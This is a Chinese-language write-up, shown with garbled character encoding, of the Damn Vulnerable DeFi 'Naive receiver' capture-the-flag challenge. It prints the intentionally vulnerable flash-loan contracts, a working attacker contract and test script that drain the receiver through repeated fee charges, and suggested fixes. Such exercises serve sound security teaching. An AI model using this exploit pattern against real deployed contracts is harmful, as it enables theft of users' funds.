![https://i.imgur.com/jCmctpN.png](https://i.imgur.com/jCmctpN.png)

> Thereâ€™s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance. You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH. Drain all ETH funds from the userâ€™s contract. Doing it in a single transaction is a big plus ;)
>

[See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/naive-receiver) [Complete the challenge](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/naive-receiver/naive-receiver.challenge.js)

é€™é¡Œèªªæœ‰ä¸€å€‹æ“æœ‰ 1000 ETHã€æ‰‹çºŒè²»å›ºå®š 1ETH çš„é–ƒé›»è²¸åˆç´„ã€‚é‚„æœ‰ä¸€å€‹æŽ¥æ”¶è€…åˆç´„ï¼ŒæŽ¥æ”¶è€…åˆç´„æ“æœ‰ 10 ETH ï¼Œå¯ä»¥è·Ÿé–ƒé›»è²¸åˆç´„äº’å‹•ã€‚æˆ‘å€‘çš„ç›®æ¨™æ˜¯è¦æŠŠæŽ¥æ”¶è€…åˆç´„çš„éŒ¢éƒ½æŠ½ä¹¾ã€‚

## æ€è€ƒåˆ‡å…¥é»ž

- çœ‹çœ‹å“ªè£¡å¯ä»¥å‹•ç”¨åˆ°ä½¿ç”¨è€…çš„éŒ¢
- æœ‰å¯èƒ½èª¿é«˜æ‰‹çºŒè²»å—Žï¼Ÿ
- æ€Žéº¼æ¨£å¯ä»¥ç”¨å–®ä¸€ transaction å®Œæˆæ”»æ“Šï¼Ÿ

## åˆç´„ç ”è®€ï¼šå°‹æ‰¾æ”»æ“Šé»ž æœ¬é—œå¡çš„åˆç´„åˆ†æˆ 2 å€‹

- FlashLoanReceiver.sol ï¼šä½¿ç”¨è€…æŽ¥æ”¶é–ƒé›»è²¸çš„åˆç´„
- NaiveReceiverLenderPool.solï¼šæµå‹•æ€§å€Ÿè²¸åˆç´„

### è§€å¯Ÿç›®æ¨™å°è±¡ FlashLoanReceiver

æˆ‘å€‘å¯ä»¥å…ˆè§€å¯Ÿä¸€ä¸‹ `FlashLoanReceiver.sol` å¯ä»¥ç™¼ç¾æˆ‘å€‘å”¯ä¸€å¯ä»¥æŠ½ä¹¾ä½¿ç”¨è€… ETH çš„å…¥å£åªæœ‰ `receiveEther` é€™å€‹å¯èƒ½ï¼Œä¸”å› ç‚ºæœ‰æ¬Šé™é™åˆ¶ï¼Œæ‰€ä»¥è«‹æ±‚ä¸€å®šè¦ç”± pool ç™¼å‡ºï¼Œæ‰€ä»¥æˆ‘å€‘ä¸€å®šè¦å‘¼å« pool çš„ function ç™¼å‹•æ”»æ“Šã€‚æ‰€ä»¥æ­¤é¡Œæ˜¯å±¬æ–¼ [å€Ÿåˆ€æ®ºäººåž‹æ”»æ“Š](https://www.so/7822e790bdfa4b05b9a4ce36987edabf) ã€‚æŽ¥ä¸‹ä¾†è¦å†ä¾†è§€å¯Ÿä¸€ä¸‹æˆ‘å€‘è¦åˆ‡çš„åˆ€ - `NaiveReceiverLenderPool` ã€‚

```jsx
    // Function called by the pool during flash loan
    function receiveEther(uint256 fee) public payable {
        require(msg.sender == pool, "Sender must be pool"); // ðŸ’¡ åªæœ‰ pool å¯ä»¥è§¸ç™¼æ­¤ function

        uint256 amountToBeRepaid = msg.value + fee;

        require(
            address(this).balance >= amountToBeRepaid,
            "Cannot borrow that much"
        );

        _executeActionDuringFlashLoan();

        // Return funds to pool
        pool.sendValue(amountToBeRepaid); // ðŸ’¡ å”¯ä¸€å¯ä»¥ä¸‹æ‰‹çš„é»ž
    }
```

### è§€å¯Ÿåˆ©ç”¨å°è±¡ NaiveReceiverLenderPool

`NaiveReceiverLenderPool` é€éŽ `flashLoan` ä¾†å‘¼å«ä½¿ç”¨è€…çš„ `receiveEther` ä¸¦ä¸”æ”¶å– `FIXED_FEE` å›ºå®šæ•¸é‡çš„æ‰‹çºŒè²»ã€‚`FIXED_FEE` æ˜¯å¯«æ­»çš„åˆç´„ä¸­ä¸¦æ²’æœ‰é–‹æ”¾ä¿®æ”¹ï¼Œæ‰€ä»¥å¯ä»¥é€šéŽé‡è¤‡å‘¼å«ï¼Œæ¯æ¬¡éƒ½å¾ž `FlashLoanReceiver` ä¸­æŠ½å‡º `FIXED_FEE` ï¼Œé”åˆ°æŠ½ä¹¾ä½¿ç”¨è€… ETH çš„æ•ˆæžœã€‚ ç›´è¦ºæœƒæ˜¯ç”¨ for loop å‘¼å«åˆç´„ç›´åˆ° balance æŠ½ä¹¾ï¼Œå¯æ˜¯é€™æ¨£æœƒæ˜¯åˆ†æˆå¥½å¹¾å€‹ Transactionã€‚é¡Œç›®æœ‰çµ¦ä¸€å€‹ Hint `Doing it in a single transaction is a big plus ;)` æ‰€ä»¥ä¸€å®šå­˜åœ¨åªæœ‰ä¸€å€‹ Transaction çš„ä½œæ³•ã€‚è¦æ€Žéº¼åšå‘¢ï¼Ÿè®“æˆ‘å€‘ç¹¼çºŒçœ‹ä¸‹åŽ»

```jsx
    function flashLoan(address borrower, uint256 borrowAmount)
        external
        nonReentrant
    {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

        require(borrower.isContract(), "Borrower must be a deployed contract");
        // Transfer ETH and handle control to receiver
        borrower.functionCallWithValue(
            abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
            borrowAmount
        );

        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }
```

## å¯¦ç¾æ”»æ“Š

NaiveReceiverLenderPool æ²’æœ‰é™åˆ¶ caller å¿…é ˆè·Ÿ msg.sender ç›¸åŒã€FlashLoanReceiver æ²’æœ‰é™åˆ¶ tx.origin å¿…é ˆæ˜¯è‡ªå·±ï¼Œæˆ–æ˜¯æœ‰æŽˆæ¬Šçš„ç”¨æˆ¶ï¼Œæ‰€ä»¥æˆ‘å€‘å¯ä»¥ç›´æŽ¥å‘¼å« NaiveReceiverLenderPool ç„¶å¾ŒæŒ‡å®š Receiver ç‚º FlashLoanReceiverã€‚

ä¸€é–‹å§‹æœƒä¸€ç›´å¾ˆæƒ³æ‰¾åˆ°å¯ä»¥ä¸€æ¬¡æŠ½ä¹¾ 10 ETH çš„æ–¹æ³•ï¼Œä½†å¾Œä¾†ç™¼ç¾åŸºæœ¬ä¸å¯èƒ½ï¼Œæ‰€ä»¥æˆ‘å€‘å°±è¦æƒ³è¾¦æ³•ç”¨æˆ‘å€‘çš„ EOA ç™¼å‡ºä¸€å€‹ Transaction ä½†æ˜¯é€™å€‹ Transaction å»å¯ä»¥å¹«æˆ‘å€‘é–‹å•Ÿ 10 å€‹ Transactionï¼Œè¦é”æˆé€™æ¨£çš„æ•ˆæžœå°±åªèƒ½è‡ªå·±å¯«åˆç´„äº†ã€‚ æ‰€ä»¥ï¼Œæ­¤é¡Œçš„è§£æ³•æœ‰å…©ç¨®ï¼š

### EOA å‘¼å«ï¼š ä½¿ç”¨ EOA ç›´æŽ¥é‡è¤‡å‘¼å« `NaiveReceiverLenderPool` çš„ flash loan function - å¯ä»¥ç”¨ for loop ä¹Ÿå¯ä»¥ç”¨ while loop å¯¦ç¾

```jsx
   it('Exploit', async function () {
        while (await ethers.provider.getBalance(this.receiver.address) > 0) {
            await this.pool.flashLoan(this.receiver.address, ethers.utils.parseEther('9'));
        }
```

### åˆç´„å‘¼å«ï¼šå°‡å¤šå€‹ Transaction è®Šæˆä¸€å€‹

å¯«ä¸€å€‹ç°¡å–®çš„æ”»æ“Šåˆç´„ï¼Œè£¡é¢æœ‰ä¸€å€‹ attack function å¯ä»¥å‘¼å« pool çš„ flashLoanï¼Œåœ¨æ¸¬è©¦ç•¶ä¸­éƒ¨ç½²ä¸¦å‘¼å«ä¸€æ¬¡æˆ‘å€‘æ”»æ“Šåˆç´„ç™¼å‹•æ”»æ“Šï¼Œäº¤ç”±åˆç´„å¹«æˆ‘å€‘ç™¼å‹•å‰©ä¸‹çš„æ”»æ“Š

- æ”»æ“Š function

```jsx
    function attack(address _receiver) external {
        while (payable(_receiver).balance >= 1 ether) {
            pool.flashLoan(_receiver, 0);
        }
    }
}
```

- æ¸¬è©¦

```jsx
    it('Exploit', async function () {
        const flashLoanReceiverAttacker = await (await ethers.getContractFactory('FlashLoanReceiverAttacker', deployer)).deploy(this.pool.address);
        await flashLoanReceiverAttacker.attack(this.receiver.address);
    });
```

- `yarn run naive-receiver` ä¹‹å¾Œå°±å¯ä»¥ç™¼ç¾é€šéŽæ‹‰ âœ¨

```
  [Challenge] Naive receiver
    âœ“ Exploit (176ms)

  1 passing (1s)

âœ¨  Done in 4.43s.
```

### ðŸ”§ å¼±é»žç¸½çµ & ä¿®æ”¹æ–¹å¼

é€™é¡Œæˆ‘å€‘é€šéŽæµå‹•æ€§å€Ÿè²¸æ± Â `NaiveReceiverLenderPool`Â çš„Â FlashLoanÂ åŽ»æ”»æ“ŠÂ `FlashLoanReceiver`Â ï¼Œæ˜¯å±¬æ–¼å€Ÿåˆ€æ®ºäººåž‹æ”»æ“Šçš„é¡Œç›®ã€‚

- å¼±é»žï¼š
    1. Flash Loan çš„æŽ¥æ”¶è€…`FlashLoanReceiver`Â æ²’æœ‰é™å®š call flashLoan çš„ tx.originï¼Œæ‰€ä»¥å°Žè‡´æ‰€æœ‰äººéƒ½å¯ä»¥å€ŸéŒ¢ç„¶å¾ŒæŒ‡å®šÂ `FlashLoanReceiver`æ”¶
    2. æ²’æœ‰ç¢ºèªæ”¶éŒ¢å¾Œçš„åŸ·è¡Œçµæžœã€æ²’æœ‰é™å®šå¿…é ˆé”æˆæŸäº›æ¢ä»¶æ‰ execute transactionï¼Œç­‰æ–¼æ²’æœ‰åˆ©ç”¨åˆ° flashLoan æœ€å¤§çš„å¥½è™•Â =ï¼Œæ‰€ä»¥å°Žè‡´å¯ä»¥ç™½ç™½è¢«æ”¶å–æ‰‹çºŒè²»ã€‚

        =å¦‚æžœæ²’æœ‰è³ºéŒ¢å°±ä¸åŸ·è¡Œ

- æ”»æ“Šæ–¹å¼ï¼š
  - hackerå‘¼å«Â `NaiveReceiverLenderPool.flashLoan`Â æŒ‡å®šÂ `FlashLoanReceiver`Â æ”¶ä½¿ä¹‹ç™½ç™½è¢«æ”¶å–æ‰‹çºŒè²»ã€‚
- æ”¹é€²ï¼š1. å¦‚æžœè¦æ›´æ”¹å¯ä»¥åœ¨Â `FlashLoanReceiver`Â ç•¶ä¸­é™åˆ¶Â `tx.origin`Â å¿…é ˆæ˜¯ Owner æˆ–å…¶ä»–æŽˆæ¬Šå°è±¡ã€‚2. é™åˆ¶Â `FlashLoanReceiver.receiveEther`Â ä¸€å®šè¦æ»¿è¶³æŸäº›æ¢ä»¶æ‰ executeï¼Œä¸ç„¶å°± revert

## å®Œæ•´åˆç´„

### FlashLoanReceiver å®Œæ•´åˆç´„

```jsx
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;

    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // Function called by the pool during flash loan
    function receiveEther(uint256 fee) public payable {
        require(msg.sender == pool, "Sender must be pool"); // ðŸ’¡ åªæœ‰ pool å¯ä»¥è§¸ç™¼æ­¤ function

        uint256 amountToBeRepaid = msg.value + fee;

        require(
            address(this).balance >= amountToBeRepaid,
            "Cannot borrow that much"
        );

        _executeActionDuringFlashLoan();

        // Return funds to pool
        pool.sendValue(amountToBeRepaid); // ðŸ’¡ å”¯ä¸€å¯ä»¥ä¸‹æ‰‹çš„é»ž
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal {}

    // Allow deposits of ETH
    receive() external payable {}
}

```

### NaiveReceiverLenderPool

```jsx
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }

    function flashLoan(address borrower, uint256 borrowAmount)
        external
        nonReentrant
    {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

        require(borrower.isContract(), "Borrower must be a deployed contract");
        // Transfer ETH and handle control to receiver
        borrower.functionCallWithValue(
            abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
            borrowAmount
        );

        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // Allow deposits of ETH
    receive() external payable {}
}

```

### FlashLoanReceiverAttacker æ”»æ“Šåˆç´„

```jsx
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./NaiveReceiverLenderPool.sol";

contract FlashLoanReceiverAttacker {
    NaiveReceiverLenderPool public pool;

    constructor(address payable _pool) {
        pool = NaiveReceiverLenderPool(_pool);
    }

    function attack(address _receiver) external {
        while (payable(_receiver).balance >= 1 ether) {
            pool.flashLoan(_receiver, 0);
        }
    }
}

```

## References

[Damn Vulnerable DeFi](https://damnvulnerabledefi.xyz/)
